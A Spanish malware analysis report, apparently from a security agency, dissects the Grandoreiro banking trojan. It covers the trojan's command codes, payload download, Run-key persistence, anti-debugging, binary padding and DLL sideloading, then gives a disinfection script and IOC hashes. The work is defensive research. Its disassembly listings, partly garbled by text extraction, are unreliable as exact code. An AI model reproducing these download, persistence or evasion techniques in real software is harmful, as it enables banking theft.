٠	:00DB1E41	call	GetEnvironmentVariable
٠	:00DB1E46	lea	eax. [ebp+var 7BC] : int
٠	:00DB1F4C	mov	edx. offset_str_dbghelp_zip.Text : void *
٠	:00DB1E51	call	LStrCat
٠	:00DB1E56	mov	eax. [ebp+var 7BC]
٠	:00DB1E5C	call	LStrToPChar
٠	:00DB1E61	push	eax : LPCSTR
٠	:00DB1E62	mov	eax. [ebp+var 8]
٠	:00DB1E65	call	IStrToPChar
٠	:00DB1E6A	push	eax : LPCSTR
٠	0000045500		
	:00DB1E6B	push	0 : LPUNKNOWN
	:00DB1E6B :00DB1E6D	push call	0 ; LPONKNOWN URLDownloadToFileA
٠	:00DB1E6B :00DB1E6D :00DB1E72	push call lea	0 ; LPUNKNOWN URLDownloadToFileA edx. [ebp+var 760]
•	:00DB1E6B :00DB1E6D :00DB1E72 :00DB1E78	push call lea mov	0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax. offset str APPDATA.Text : System::AnsiString
:	:00DB1E5B :00DB1E6D :00DB1E72 :00DB1E78 :00DB1E7D	push call lea mov call	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable</pre>
	:00DB1E6B :00DB1E6D :00DB1E72 :00DB1E78 :00DB1E7D :00DB1E82	push call lea mov call mov	0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax. [ebp+var_7C0]
	:000B1E5B :000B1E7D :000B1E72 :000B1E78 :000B1E78 :000B1E82 :000B1E88	push call lea mov call mov push	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax</pre>
•	:00DB1E5B :00DB1E7D :00DB1E72 :00DB1E78 :00DB1E7D :00DB1E82 :00DB1E89	push call lea mov call mov push lea	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax edx, [ebp+var_7C8]</pre>
•••••••••••••••••••••••••••••••••••••••	:000B1E5B :000B1E72 :000B1E72 :000B1E78 :000B1E75 :000B1E82 :000B1E88 :000B1E8F	push call lea mov call mov push lea mov	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax edx, [ebp+var_7C8] eax, offset str APPDATA.Text : System::AnsiString</pre>
•••••••••••••••••••••••••••••••••••••••	:00DB1E5B :00DB1E5D :00DB1E72 :00DB1E78 :00DB1E7D :00DB1E82 :00DB1E82 :00DB1E89 :00DB1E85 :00DB1E94	push call lea mov call mov push lea mov call	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax edx, [ebp+var_7C8] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable</pre>
•••••••••••••••••••••••••••••••••••••••	:000B1E5B :000B1E72 :000B1E72 :000B1E78 :000B1E78 :000B1E82 :000B1E88 :000B1E88 :000B1E85 :000B1E99	push call lea mov call mov push lea mov call lea	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C8] ; int</pre>
•••••••••••••••••••••••••••••••••••••••	:000B1E5B :000B1E72 :000B1E72 :000B1E78 :000B1E78 :000B1E88 :000B1E88 :000B1E89 :000B1E8F :000B1E94 :000B1E9F	push call lea mov call mov push lea mov call lea mov	<pre>0 ; LPUNKNOWN URLDownloadToFileA edx, [ebp+var_7C0] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C0] eax edx, [ebp+var_7C8] eax, offset _str_APPDATA.Text ; System::AnsiString GetEnvironmentVariable eax, [ebp+var_7C8] ; int edx, offset str dbghelp zip.Text ; void *</pre>

Figura 31: Actualización de la DLL

Tiene capacidad de desconectar a la víctima, con el código SUSPENDEACESSO, de reiniciar la máquina, código REINICIAGERAL, o reiniciar el propio troyano, código Rein1c1aSystem.

l	:00DAF99A		; _TALONH1_Timer2Timer+1986↑j
9••	:00DAF99A	mov	eax, ds:dword_DD0C9C
•	:00DAF99F	call	LStrToPChar
•	:00DAF9A4	mov	edx, offset aSuspendeacesso ; "SUSPENDEACESSO"
•	:00DAF9A9	call	StrPos
•	:00DAF9AE	test	eax, eax
	:00DAF9B0	jz	short loc_DAF9D2
	:00DAF9B2	call	call_LStrClr
	:00DAF9B7	xor	edx, edx
1	:00DAF9B9	mov	eax, ds:dword_DD0BC0
	:00DAF9BE	mov	ecx, [eax]

Figura 32: Comando para desconectar a la víctima

֥	:00DB1645	mov	eax, ds:dword_DD0C9C
•	:00DB164F	mov	edx, offset aReiniciageral ; "REINICIAGERAL"
•	:00DB1654	call	StrPos
•	:00DB1659	test	eax, eax
	:00DB165B	jz	short loc_DB166C
1 ·	:00DB165D	call	call_LStrClr
11.	:00DB1662	mov	eax, 2 ; uFlags
1.	:00DB1667	call	call ExitWindowsEx

FIGURA 33. PLOCESO DE LEINICIO DE LA	
	maguina





UUDAEUUE	Cdll	ESCHOPUNAN
:00DAE013	mov	edx, offset aRein1c1asystem ; "Rein1c1aSystem"
00DAE018	call	StrPos
00DAE01D	test	eax, eax
00DAE01F	jz	short loc_DAE064
00DAE021	call	call_LStrClr
00DAE026	push	1 ; nShowCmd
00DAE028	push	0 ; lpDirectory
00DAE02A	push	0 ; 1pParameters
00DAE02C	lea	edx, [ebp+var_10]
00DAE02F	mov	eax, ds:off_DCCDA4
00DAE034	mov	eax, [eax]
00DAE036	call	TApplication_GetExeName ; BDS 2005-2007 and Delphi6-7 Visual Component Library
00DAE03B	mov	eax, [ebp+var_10]
00DAE03E	call	LStrToPChar
00DAE043	push	eax ; lpFile
00DAE044	push	0 ; 1pOperation
00DAE046	mov	eax, ebx ; this
00DAE048	call	TWinControlGetHandle
00DAE04D	push	eax ; hwnd
00DAE04E	call	ShellExecuteA
00DAE053	mov	eax, ds:off DCCDA4



Dispone de capacidad para obtener información del cursor (código EXIBIRMZ).

	:00DB1667	call	call_ExitWindowsEx	:004AFDL0		
	:00DB166C			:004AFBC0 call_	SystemParametersInfoA proc near	; CODE XREF: _TALONH1_Timer:
	:00DB100C 10C_DB100C:		; CODE XREF: _IALONH1_IImer2Iimer+369FT]	:004AFBC0		; TALONH1 Timer2Timer+421D
	:00DB166C	mov	eax, ds:dword_DD0C9C	:004AFBC0	push 1Bh	; fWinIni
	:00DB1671	call	LStrToPChar	:004AFBC2	push 0	; pvParam
	:00DB1676	mov	edx, offset aExibirmz ; "EXIBIRMZ"	:004AFBC4	push 0	: uiParam
	:00DB167B	call	StrPos	:004AFBC6	push 57h ; 'W'	; uiAction
	:00DB1680	test	eax, eax	:004AFBC8	call SystemParamete	rsInfoA
	:00DB1682	jz	short loc_DB168E	:004AFBCD	retn	
	:00DB1684	call	call_LStrClr	_		
	:00DB1689	call	call SystemParametersInfoA SPI_SETCURSORS	Re	loads the system cursors. Set the uiPo	aram parameter to zero and the
	:00DB168E		0x0057	DV	Param parameter to NULL.	1
_	:00DB168E loc_DB168E:		; CODE XREF: _1	<i>p</i> .		

Figura 35: Consulta información del cursor

■ Y de controlar el cursor del usuario (código OCULTARMZ).

5.2	:NADRIPSE TOC_DRIPSE:		; CODE XKEF: _IALONHI_IIMErZIIMEr+3
· •••	:00DB168E	mov	eax, ds:dword_DD0C9C
•	:00DB1693	call	LStrToPChar
•	:00DB1698	mov	edx, offset aOcultarmz ; "OCULTARMZ"
•	:00DB169D	call	StrPos
•	:00DB16A2	test	eax, eax
- -	:00DB16A4	jz	short loc_DB16B0
	:00DB16A6	call	call_LStrClr
•	:00DB16AB	call	sub_4AFBD0
_	•00DB16B0		



Puede crear un fichero a modo de registro, con el código CRIARCADASTRO, llamado UPAK.BIN.

•	:00DB1D91	call	LStrToPChar
•	:00DB1D96	mov	edx, offset aCriarcadastro ; "CRIARCADASTRO"
•	:00DB1D9B	call	StrPos
•	:00DB1DA0	test	eax, eax
	:00DB1DA2	jz	short loc_DB1DE7
. •	:00DB1DA4	call	call_LStrClr
	:00DB1DA9	lea	edx, [ebp+var_784]
. •	:00DB1DAF	mov	eax, ds:off_DCCDA4
. •	:00DB1DB4	mov	eax, [eax]
. •	:00DB1DB6	call	TApplication_GetExeName ; BDS 2005-2007 and Delphi6-7 Visual Component Library
	:00DB1DBB	mov	eax, [ebp+var_7B4] ; System::AnsiString
. •	:00DB1DC1	lea	edx, [ebp+var_7B0]
	:00DB1DC7	call	ExtractFileDir
. •	:00DB1DCC	lea	eax, [ebp+var_7B0] ; int
	:00DB1DD2	mov	edx, offset str_UPAK_BIN.Text ; void *
! !	:00DB1DD7	call	LStrCat
	:00DB1DDC	mov	eax, [ebp+var 780]

Figura 37: Crear fichero UPAK.BIN

Tiene la capacidad de crear un registro de la actividad, con el código MARCARPC, en un log llamado *lz.log*.





	.00001000	COTT	ESCHIOPCHAI
•	:00DB1EED	mov	edx, offset aMarcarpc ; "MARCARPC"
•	:00DB1EF2	call	StrPos
•	:00DB1EF7	test	eax, eax
12	:00DB1EF9	jz	loc_DB1FB2
•	:00DB1EFF	mov	dl, 1
•	:00DB1F01	mov	eax, off_41E250
•	:00DB1F06	call	TObject_Create_TString_List ; BDS 2005-2007 and Delphi6
Ľ	:00DB1F0B	mov	esi, eax
Ľ	:00DB1F0D	mov	eax, esi
Ľ	:00DB1F0F	mov	edx, [eax]
Ľ	:00DB1F11	call	dword ptr [edx+44h]
Ľ	:00DB1F14	mov	dl, 7Ch ; ' ' ; char
Ľ	:00DB1F16	mov	eax, ds:dword_DD0C9C ; int
Ľ	:00DB1F1B	call	TStringList_Create
Ľ	:00DB1F20	lea	ecx, [ebp+var_7D0]
Ľ	:00DB1F26	mov	edx, 1
Ľ	:00DB1F2B	mov	ebx, [eax]
Ľ	:00DB1F2D	call	dword ptr [ebx+0Ch]
Ľ	:00DB1F30	mov	eax, [ebp+var_7D0]
Ľ	:00DB1F36	call	LStrToPChar
Ľ	:00DB1F3B	mov	edx, eax
Ľ	:00DB1F3D	lea	eax, [ebp+var_7CC]
Ľ	:00DB1F43	call	LStrFromPChar ; BDS 2005-2007 and Delphi6-7 Visual Co
1.	:00DB1F48	mov	edx, [ebp+var_7CC]
Ľ	:00DB1F4E	mov	eax, esi
Ľ	:00DB1F50	mov	ecx, [eax]
Ľ	:00DB1F52	call	dword ptr [ecx+38h]
Ľ	:00DB1F55	lea	edx, [ebp+var_7DC]
12	:00DB1F5B	mov	eax, ds:off_DCCDA4
Ľ	:00DB1F60	mov	eax, [eax]
15	:00DB1F62	call	TApplication_GetExeName ; BDS 2005-2007 and Delphi6-7 V
Ľ	:00DB1F67	mov	<pre>eax, [ebp+var_7DC] ; System::AnsiString</pre>
Ľ	:00DB1F6D	lea	edx, [ebp+var_7D8]
Ľ	:00DB1F73	call	ExtractFileDir
Ľ	:00DB1F78	lea	eax, [ebp+var_7D8] ; int
Ľ	:00DB1F7E	mov	edx, offset _strlz_log_0.Text ; void *
!	:00DB1F83	call	LStrCat

Figura 38: Crear el log para registrar la actividad

Puede eliminar con el código DEL3TARMARCOAO el fichero lz.log, a modo de log mencionado anteriormente, en la misma ruta del ejecutable.

:000AF8C5 :000AF8C5 :000AF8D3 :000AF8D8 :000AF8DD :000AF8DF :000AF8E5 :000AF8EA :000AF8F0	call mov call test jz call lea mov	<pre>cax, us.umord_poolse LStrToPChar edx, offset aDel3tarmarc0ao ; "DEL3TARMARC0AO" StrPos eax, eax loc_DAF99A call_LStrClr edx, [ebp+var_38C] eax, ds:off_DCCDA4</pre>
:00DAF8F5	mov	eax, [eax]
:00DAF8F7	call	TApplication_GetExeName ; BDS 2005-2007 and Delphi6-7 Visual Com

Figura 39: Elimina el fichero de log

Permite buscar en los procesos de la memoria con el código DETONARPROCESO.

-••	:00DB1FB2	mov	eax, ds:dword DD0C9C
•	:00DB1FB7	call	LStrToPChar
•	:00DB1FBC	mov	edx, offset aDetonaprocesso ; "DETONAPROCESSO"
•	:00DB1FC1	call	StrPos
•	:00DB1FC6	test	eax, eax
	:00DB1FC8	jz	short loc_DB2043
	:00DB1FCA	mov	dl, 7Ch ; ' ' ; char
	:00DB1FCC	mov	eax, ds:dword_DD0C9C ; int
	:00DB1FD1	call	TStringList_Create
	:00DB1FD6	lea	ecx, [ebp+var_7E4]
	:00DB1FDC	mov	edx, 1
	:00DB1FE1	mov	ebx, [eax]
	:00DB1FE3	call	dword ptr [ebx+0Ch]
	:00DB1FE6	mov	eax, [ebp+var_7E4] ; System::AnsiString
	:00DB1FEC	lea	edx, [ebp+var_7E0]
-	•00DB1EE2	call	Trim

Figura 40: Busca en los procesos en memoria

Tiene la capacidad de realizar capturas de pantalla, con los códigos ATIVARCAPTURAMAG y ATIVARCAPTURAFULL. La diferencia está en cómo realiza esta acción: si los sistemas operativos son Windows 10, 8.1 y Server, entonces hace uso de la DLL MAG "Magnification", en caso contrario utiliza la opción FULL.





		,
:00DB206C	call	LStrToPChar
:00DB2071	mov	edx, offset aAtivarcapturam ; "ATIVARCAPTURAMAG"
:00DB2076	call	StrPos
:00DB207B	test	eax, eax
:00DB207D	jz	loc_DB211F
:00DB2083	call	call_LStrClr
:00DB2088	lea	edx, [ebp+var_7F0]
:00DB208E	mov	eax, ds:AnsiString ; System::AnsiString
:00DB2093	call	Trim
:00DB2098	mov	eax, [ebp+var_7F0]
:00DB209E	call	LStrToPChar
:00DB20A3	mov	edx, offset aWindows8_2 ; "Windows 8"
:00DB20A8	call	StrPos
:00DB20AD	test	eax, eax
:00DB20AF	jnz	short loc_DB2103
:00DB20B1	lea	edx, [ebp+var_7F4]
:00DB20B7	mov	eax, ds:AnsiString ; System::AnsiString
:00DB20BC	call	Trim
:00DB20C1	mov	eax, [ebp+var_7F4]
:00DB20C7	call	LStrToPChar
:00DB20CC	mov	edx, offset aWindows10_2 ; "Windows 10"
:00DB20D1	call	StrPos
:00DB20D6	test	eax, eax
:00DB20D8	jnz	short loc_DB2103
:00DB20DA	lea	edx, [ebp+var_7F8]
:00DB20E0	mov	eax, ds:AnsiString ; System::AnsiString
:00DB20E5	call	Trim
:00DB20EA	mov	eax, [ebp+var_7F8]
:00DB20F0	call	LStrToPChar
:00DB20F5	mov	<pre>edx, offset aWindowsServer_1 ; "Windows Server"</pre>
:00DB20FA	call	StrPos
:00DB20FF	test	eax, eax
:00DB2101	jz	short loc_DB211F
:00DB2103		

Figura 41: Proceso de preparación de datos para enviar

Puede desactivar la barra de desplazamiento con el código DISABLESCROOL.

· • •	:00DB299C	mov	eax, ds:dword_DD0C9C
•	:00DB29A1	call	LStrToPChar
•	:00DB29A6	mov	<pre>edx, offset aDisablescrool ; "DISABLESCROOL"</pre>
•	:00DB29AB	call	StrPos
•	:00DB29B0	test	eax, eax
	:00DB29B2	jz	short loc_DB29BE
	:00DB29B4	call	call_LStrClr
•	:00DB29B9	call	call_UnhookWindowsHookEx
1	:00DB29BE		-

Figura 42: Desactiva desplazamiento

Realiza tanto un borrado de todo el directorio donde se ubica el troyano, con el código DELETEAKL, como la clave de registro, como si nunca hubiese existido.





1.		COLL	eper for endi
	:00082908	mov	edx, offset abeletaki ; "DELETAKL"
	:00DB29CD	call	StrPos
12	:00DB29D2	test	eax, eax
	:00DB29D4	jz	short loc_DB2A2E
12	:00DB29D6	call	call_LStrCir
12	:00DB29DB	xor	eax, eax
12	:00DB29DD	push	ebp
12	:00DB29DE	push	offset loc_DB29FD
12	:00DB29E3	push	dword ptr fs:[eax]
12	:00DB29E6	mov	fs:[eax], esp
12	:00DB29E9	mov	eax, ds:dword_DD0BE0
15	:00DB29EE	call	borrar_persistencia_registro
12	:00DB29F3	xor	eax, eax
15	:00DB29F5	рор	edx
1.	:00DB29F6	pop	ecx
	:00DB29F7	pop	ecx
1.	:00DB29F8	mov	fs:[eax], edx
P	:00DB29FB	jmp	short loc_DB2A07
	:00DB29FD ;		
	:00DB29FD		
	:00DB29FD loc_DB29FD:		; DATA XREF: _TALONH1_Timer2Timer+4A22↑o
P	:00DB29FD	jmp	HandleAnyException
١.	:00DB2A02 ;		
	:00DB2A02	call	DoneExcept
	:00DB2A07		
١.	:00DB2A07 loc_DB2A07:		; CODE XREF: _TALONH1_Timer2Timer+4A3F↑j
	:00DB2A07	xor	eax, eax
1.	:00DB2A09	push	ebp
15	:00DB2A0A	push	offset loc_DB2A24
11	:00DB2A0F	push	dword ptr fs:[eax]
12	:00DB2A12	mov	fs:[eax], esp
11	:00DB2A15	call	borrado_directorio_mm_bat
	000000110		

Figura 43: Auto eliminación

Por lo tanto, es posible manipular las ventanas abiertas por el usuario, capturar pulsaciones de teclado y simular acciones del mismo y del ratón. A la vez que controlar la navegación del usuario o bloquear el acceso a los sitios web elegidos por el atacante.

Se asegura la **persistencia** creando un acceso directo hacia él en la clave de registro *HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uvnerjnx* (esta clave puede variar según la muestra), apuntando a *C:\users\<usuario>\appdata\roaming\nowview\solodriver.exe* (al igual que el nombre del ejecutable y su ruta, puede ser diferente en otras muestras).

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run		
🗹 🄄 Uvnerjnx 🛛 Advanced Installer Intune Tool	Caphyon LTD	c:\users\ a\appdata\roaming\nowview\solodriver.exe
C () ()		

Figura 44: Ejemplos de ficheros cifrados en red

00DAAC82	call	@LStrAsg
00DAAC87	mov	<pre>eax,0DD0BE0;gvar_00DD0BE0:AnsiString</pre>
00DAAC8C	mov	edx,0DAADE8;'Uvnerjnx'
00DAAC91	call	@LStrAsq
00DAAC96	mov	eax,dword ptr [ebp-4]
00DAAC99	call	00DAA838
0000000	1	[-k- 0]

Figura 45: Nombre de la clave de registro





TLP:WHI

304AF6B3	call	@LStrC1r
304AF6B8	push	4AF75C;'Software\Microsoft\Windows\CurrentVersion\Run'
304AF6BD	push	dword ptr [ebp-80]
304AF6C0	push	4AF794:#0
304AF6C5	lea	eax.[ebp-10]
304AF6C8	mov	edx 3
304AF6CD	call	@LStrCatN
304AF6D2	xor	ecx.ecx
384AF6D4	mnu	d] _ 1
384AF6D6	mov	eax.[43F1F8]:TRegIniFile
304AF6DB	call	TRegIniFile.Create:TRegIniFile.Create
304AF6E0	mov	dword ptr [ebp-18],eax
304AF6E3	xor	eax eax
304AF6E5	push	ebp
304AF6E6	push	4AF726
304AF6EB	push	dword ptr <mark>fs:[eax]</mark>
304AF6EE	mov	dword ptr fs:[eax],esp
304AF6F1	mov	edx,8000001
304AF6F6	mov	eax,dword ptr [ebp-18]
304AF6F9	call	TRegistry.SetRootKey
304AF6FE	mov	eax,dword ptr [ebp-8]
304AF701	push	eax
304AF702	mov	ecx,dword ptr [ebp-14]
004AF705	mov	edx,dword ptr [ebp-10]
004AF708	mov	eax,dword ptr [ebp-18]
004AF70B	call	TRegIniFile.WriteString
304AF710	xor	eax,eax

Figura 46: Zona de escritura de clave de registro para persistencia

De este modo, cada vez que se reinicie el equipo, el troyano será ejecutado y podrá continuar recolectando y utilizando información que pueda necesitar para comunicarse con el C&C.

4.3. Métodos de protección del troyano

El troyano trata de protegerse de software destinado a evitar este tipo de amenazas muy utilizado en Latinoamérica, como son IBM Trusteer y Warsaw Diebold.

(IBM INS	STALADO)
(IBM OF)
(WARSAW	INSTALADO)
(WARSAW	OFF)

Figura 47: Software que busca en el equipo afectado

Una medida estándar que multitud de troyanos utilizan es saber si están siendo depurados, gracias a la API de Windows *IsDebuggerPresent*.

00DB3EB5	call	StrPos	-
00DB3EBA	test	eax,eax	
00DB3EBC>	je	00DB3ECD	
00DB3EBE	mov	<pre>eax,0DD0CD8;gvar_00DD0CD8:AnsiString</pre>	
00DB3EC3	mov	edx, ODB3FDC; 'FALHA'	
00DB3EC8	call	@LStrAsg	
>00DB3ECD	call	kerne132.IsDebuqqerPresent	
00DB3ED2	test	al,al	
00DB3ED4>	je	00DB3EE5	
00DB3ED6	mov	<pre>eax,0DD0CD8;gvar_00DD0CD8:AnsiString</pre>	
OODB3EDB	mov	edx, ODB3FDC; 'FALHA'	
00DB3EE0	call	@LStrAsg	
>00DB3EE5	and	b1,3 F	
OODDOFFO			

Figura 48: Comprobación de depuración con IsDebuggerPresent

La técnica de ofuscación de binarios maliciosos con el fin de pasar desapercibidos empleada por Grandoreiro, que trata de engrosar el binario para evitar que plataformas de análisis de *malware* online puedan analizarlo, debido a una limitación del tamaño de envío,





se conoce como *binary padding.* Su relleno se realiza con imágenes grandes sin un propósito distinto que hacer el binario de un tamaño considerable dificultando el análisis.

El uso de aplicaciones legítimas y firmadas cargando la *dll* con un nombre legítimo y existente en el sistema operativo, pero en el mismo directorio que el ejecutable (el primero en la ruta de carga de *dll*), que hace que se cargue antes que la esperada, hace que la detección sea más dificultosa.





5. Detección y desinfección

5.1. Métodos de detección y desinfección

Existen multitud de antivirus que detectan la amenaza, por lo que sería conveniente disponer de uno actualizado, así como herramientas *antispam*.

En los casos en los que el primer contacto es un documento ofimático de Microsoft Office, desactivar la ejecución automática de macros, y, sobre todo, desconfiar de remitentes desconocidos y no instalar archivos de fuentes no fiables

Para su desinfección, es necesario borrar la clave de registro asociada a la persistencia. En el caso de la muestra analizada, la clave de registro es *Uvnerjnx*, sin embargo, no siempre es el mismo nombre, puede variar. Además de detener el ejecutable que utiliza la *dll* ya que de intentarlo sin haber realizado esta acción podría fallar, ya que la *dll* del troyano estaría en uso. Por lo tanto, el siguiente script es válido cuando coincide la clave de registro, ruta y nombre del ejecutable. Para otros casos será necesario cambiar estos valores por los adecuados.

Clave="Uvnerjnx"
Ejecutable="solodriver.exe"
Directorio="nowview"
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v %Clave% /f
taskkill /f /im %Ejecutable%
del /F %APPDATA%\%Directorio%*.exe
del /F %APPDATA%\%Directorio%*.dll
rmdir /s /q %APPDATA%\%Directorio%

Tabla 1: Script .bat destinado a borrar el troyano y sus componentes

5.2. Recomendaciones

Para evitar la infección con el *malware* Grandoreiro es recomendable aplicar las siguientes medidas:

- Ignorar los correos electrónicos irrelevantes y los que se envían desde una dirección desconocida o contienen un archivo adjunto (o un enlace a un sitio web) y no abrir los archivos o enlaces web que se presentan en estos correos sin tener claro de que es seguro hacerlo.
- Descargar software solamente de los sitios web oficiales y a través de los enlaces de descarga directa.
- Actualizar los programas instalados a través de las funciones implementadas o de las herramientas que proporcionan los desarrolladores oficiales de *software*. Lo mismo se aplica a la activación.





Analizar regularmente el sistema operativo en busca de amenazas con una suite antivirus o *antispyware* de confianza y mantenga este *software* actualizado.





6. Referencias

- Alberto Payo "El troyano bancario brasileño Grandoreiro vuelve a amenazar a los usuarios españoles" <u>https://www.escudodigital.com/ciberseguridad/troyano-bancariobrasileno-grandoreiro-vuelve 50335 102.html</u> (dic 06, 2021) Fecha de acceso: febr. 03, 2022.
- Aitor Echavarri "Campaña Grandoreiro Mercadona" <u>https://botechfpi.com/campana-grandoreiro-mercadona</u> (ago.19, 2020) Fecha de acceso: febr. 03, 2022.
- Grandoreiro-Bcsc-Malware-Grandoreiro <u>https://www.basquecybersecurity.eus/archivos/202104/bcsc-malware-grandoreiro-tlpwhite_v2.pdf</u> Fecha de acceso: febr. 08, 2022.
- Check Point y Europol "Banking Trojans: From Stone Age to Space Era" <u>https://www.europol.europa.eu/cms/sites/default/files/documents/banking_trojans_fromstone_age to_space_era.pdf</u> (marzo 21, 2017) Fecha de acceso: febr. 04, 2022.
- Cytomic "Vuelve el troyano Grandoreiro contra las entidades bancarias aprovechando el COVID-19" <u>https://www.cytomic.ai/es/alertas/troyano-grandoreiro-ataque-banca/</u> (mayo 20, 2019) Fecha de acceso: febr.14, 2022.
- Cybersecurityadmin" Grandoreiro: How engorged can an EXE get?" <u>https://nofalsepositives.com/grandoreiro-how-engorged-can-an-exe-get</u> (ene. 08, 2022) Fecha de acceso: febr. 04, 2022.
- Dani Abramov y Limor Kessem "Grandoreiro Malware Now Targeting Banks in Spain" Security Intelligence <u>https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/</u> (abril 13, 2020) Fecha de acceso: febr. 02, 2022.
- David Garcia "El troyano bancario Faketoken ha vuelto: analizamos su funcionamiento" Revelock. <u>https://www.revelock.com/es/blog/el-troyano-faketoken-ha-vuelto-analizamos-su-funcionamiento</u> (febr 17, 2020) Fecha de acceso: febr. 03, 2022.
- David Garcia "Fraude basado en inyecciones de código y phishing" <u>https://www.revelock.com/es/blog/grandoreiro-un-malware-con-una-estrategia-de-fraude-basada-en-inyecciones-de-codigo-y-phishing-para-interceptar-credenciales</u> (ene.02, 2021) Fecha de acceso: febr. 02, 2022.
- Ehacking "Phishing que invita a descargar copia de seguridad de WhatsApp descarga el troyano Grandoreiro". Ethical Hacking Consultores <u>https://blog.ehcgroup.io/2021/10/12/14/00/14/11933/phishing-que-invita-a-descargarcopia-de-seguridad-de-whatsapp-descarga-el-troyano-grandoreiro/seguridadinformatica/troyanos/ehacking/ (oct 12, 2021). Fecha de acceso: febr. 04, 2022.</u>
- ESET Research "Grandoreiro: análisis de un troyano bancario dirigido a Brasil, España, México y Perú" <u>https://www.welivesecurity.com/la-es/2020/04/28/grandoreiro-troyanobancario-dirigido-brasil-espana-mexico-peru/</u> (abr 28, 2020). Fecha de acceso: febr. 04, 2022.
- ESET Research "Desde Amavaldo a Zumanek: un análisis de 12 troyanos bancarios de América Latina" <u>https://www.welivesecurity.com/la-es/2021/12/15/analisis-12-</u> troyanos-bancarios-america-latina/ (dic 15, 2021) Fecha de acceso: febr. 02, 2022.
- ESET Research "Indicadores muestran la cooperación entre autores de troyanos bancarios de América Latina" <u>https://www.welivesecurity.com/la-es/2020/10/01/indicadores-muestran-cooperacion-entre-autores-troyanos-bancarios-america-latina/</u> (oct 1, 2020) Fecha de acceso: febr. 04, 2022.





- INCIBE "Estudio del análisis de FluBot" <u>https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_flubot_2021_v1.pdf /</u> (mayo, 2021) Fecha de acceso: febr.15, 2022.
- Infobae "México, Brasil y España, los países más afectados por ataques cibernéticos bancarios" <u>https://www.infobae.com/america/tecno/2021/12/17/mexico-brasil-y-espana-los-paises-mas-afectados-por-ataques-ciberneticos-bancarios/</u> (dic.17, 2021) Fecha de acceso: febr. 01, 2022.
- IT News "ESET amplía la investigación sobre el troyano bancario Grandoreiro" <u>https://itnews.lat/eset-ampl-a-la-investigaci-n-sobre-el-troyano-bancario-grandoreiro.html</u> (abr. 28, 2021) Fecha de acceso: febr. 04, 2022.
- José Manuel Roviralta Puente "Ataques de inyección SQL, una amenaza para tu web" <u>https://www.incibe.es/protege-tu-empresa/blog/ataques-inyeccion-sql-amenaza-tu-web</u> INCIBE (Oct 26, 2021) Fecha de acceso: febr. 6, 2022
- Kaspersky Lab "The Tetrade: Brazilian banking malware goes global" <u>https://securelist.com/the-tetrade-brazilian-banking-malware/97779/</u> (jul. 14, 2020) Fecha de acceso: febr. 02, 2022.
- Open Web Application Security Project "Man-in-the-browser attack" <u>https://owasp.org/www-community/attacks/Man-in-the-browser_attack</u> Fecha de acceso: febr. 03, 2022.
- OSI "Copia de seguridad de mensajes de WhatsApp" nuevo correo electrónico fraudulento que descarga malware <u>https://www.osi.es/es/actualidad/avisos/2021/09/copia-de-seguridad-de-mensajes-de-</u> <u>whatsapp-nuevo-correo-electronico</u> (sept.22, 2021) Fecha de acceso: febr. 03, 2022.
- Pedro Tavares "The updated Grandoreiro Malware equipped with latenbot-C2 features in Q2 2020 now extended to Portuguese banks" <u>https://seguranca-informatica.pt/theupdated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-nowextended-to-portuguese-banks/#.YgPmDoTMIdU (mayo 26, 2020) Fecha de acceso: febr. 08, 2022.</u>
- Pierluigi Paganini "Grandoreiro Malware implements new features in Q2 2020" <u>https://securityaffairs.co/wordpress/103853/malware/grandoreiro-malware-q2-2020.html</u> (mayo 27, 2020) Fecha de acceso: febr. 03, 2022.
- Techbit "Grandoreiro: el virus troyano bancario que amenaza a México" El Universal <u>https://www.eluniversal.com.mx/techbit/grandoreiro-el-virus-troyano-bancario-que-amenaza-mexico/video/ciencia-y-salud/desinfectantes-caseros-estoy-sanitizandobien-mi-hogar (mayo 04, 2020) Fecha de acceso: febr.01, 2022.</u>
- Satinfo "Ahora es a Carrefour a quien utilizan para conseguir que se ejecute un fichero spy Grandoreiro" <u>https://blog.satinfo.es/2019/ahora-es-a-carrefour-a-quien-utilizanpara-conseguir-que-se-ejecute-un-fichero-spy-grandoreiro/</u> (oct 28, 2019) Fecha de acceso: febr.02, 2022.





Anexo 1: Indicadores de compromiso (IOC)

- Nombre (Instalador): Archiv.Endes.Fact3101.msi
 - MD5: 6346c88c0d45779740b526dc7da79fc8
 - SHA256: 6a3b03e8a8a1edfcf33aebb9d55f81ed274196596a20db875e2ae923d6468bbd
- Nombre (DLL Downloader): Binary.Maui.dll
 - MD5: 20253c20ea35ec595c5577604f8a2730
 - SHA256: 58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9a0e04c4ca124e58382
- Nombre (DLL Troyano): dbghelp.dll
